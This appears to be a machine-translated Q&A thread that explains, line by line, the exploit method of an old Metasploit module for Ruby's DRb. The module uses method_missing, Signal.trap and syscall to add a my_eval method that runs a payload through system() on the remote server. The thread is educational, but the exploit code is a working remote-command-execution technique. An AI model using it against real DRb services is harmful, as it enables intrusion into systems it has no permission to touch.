2017-05-20 40 views
4

我一直在使用Metasploit的,它使用的方法看着一个老臭虫的DRb:理解的Ruby语法“类<<变量”

def exploit 
    serveruri = datastore['URI'] 
    DRb.start_service 
    p = DRbObject.new_with_uri(serveruri) 
    class << p 
     undef :send 
    end 

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend") 
    # syscall to decide whether it's 64 or 32 bit: 
    # it's getpid on 32bit which will succeed, and writev on 64bit 
    # which will fail due to missing args 
    begin 
     pid = p.send(:syscall, 20) 
     p.send(:syscall, 37, pid, 23) 
    rescue Errno::EBADF 
     # 64 bit system 
     pid = p.send(:syscall, 39) 
     p.send(:syscall, 62, pid, 23) 
    end 
    p.send(:my_eval, payload.encoded) 
    end 

我不是一个程序员红宝石,但我有一个除少数几行外,还有一些普遍的意义。
任何人都可以解释第5-9行发生了什么? (开始于“<类< ...”)

+0

@ tom-lord我投票重新提出这个问题,因为它不仅关于'class << ...'成语,而且还关于第9行如何使用它('p。之后发送'调用'以前未定义)。 –

回答

2
class << p 
    undef :send 
end 

这未定义对象psend方法(send用于动态调用方法上的接收器)。

它这样做是为了利用DRbObjectmethod_missing实现,该实现将方法调用路由到远程对象。我对DRb不太熟悉,但我猜这可能是为了让DRbServercheck_insecure_method检查完成,但我会将它作为练习留给你,因为它超出了问题的范围在这里问。

一旦它达到无论它需要通过method_missing做它增加了一个方法my_evalObject上的服务器进程,然后使用system执行有效载荷作为外壳命令。

+0

非常感谢!最后一个问题:在取消它的调用后,第三个参数是:someLongString。红宝石如何解释它?它是否尝试调用一个名为someLongString的方法? – sel

+0

@sel:send方法的文档中有什么不清楚的地方吗?你能告诉我们什么*确切*不清楚,以便Ruby开发人员可以改进未来读者的文档? –

+0

我不得不承认这是我作为练习留给你的部分。我猜测*''undef'ing'和''''丢失方法的全部重点是获得符号(注意前导冒号,即':someLongString')在'DRbServer'过程的上下文中被评估。一旦完成,'p.send(:my_eval,payload.encoded)'使用新添加的方法来执行负载。 –

2
class << p 
    undef :send 
end 

这一块取消定义send在本地DRbObject实例。正如Michael指出的那样,如果DRbObject没有定义方法,它将使用method_missing将方法调用路由到远程服务器。

在这种情况下,所有后续的send调用将被路由到远程服务器并在那里进行评估,而不是本地实例。

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend") 

这触发Signal.trap与信号23和似乎包含的代码,如果评价,将在Object其提供使外壳直接访问创建的方法的块的符号。

根据文档,Signal.trap可用于运行一个块或者在从操作系统接收特定信号的命令。不清楚命令是什么,所以我做了一些玩耍。

> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 } 
sleeping                  #=> 37162 
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep> 
>> Process.kill(23, pid) 
test      #=> 1 

看起来以符号形式的命令将由Signal.trap转换为字符串然后eval编辑。

# syscall to decide whether it's 64 or 32 bit: 
# it's getpid on 32bit which will succeed, and writev on 64bit 
# which will fail due to missing args 
begin 
    pid = p.send(:syscall, 20) 
    p.send(:syscall, 37, pid, 23) 

本节触发调用Unix内核函数的Kernel#syscallrescue位处理64位系统调用号码。就让我们看一看在这里的32位部分:

  • p.send(:syscall, 20)应该求sys_getpid()
  • p.send(:syscall, 37, pid, 23)应该评估为sys_kill(<pid>, 23)。这将触发为信号23设置的较早陷阱。

总之,利用:

  1. 取消定义send迫使消息通过method_missing
  2. 用途method_missing触发Signal.trap(23)与以符号形式转换为一个行字符串的红宝石代码块
  3. 使用Kernel#syscall获取当前正在运行的进程的PID
  4. 使用Kernel#syscall调用kill -23 <pid>,这导致阱2设置为触发,这反过来evals上Object所提供的符号来创建my_eval方法,该方法提供了访问system(shell命令行存取)
  5. 调用新创建my_eval方法与所述有效载荷

参考文献:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall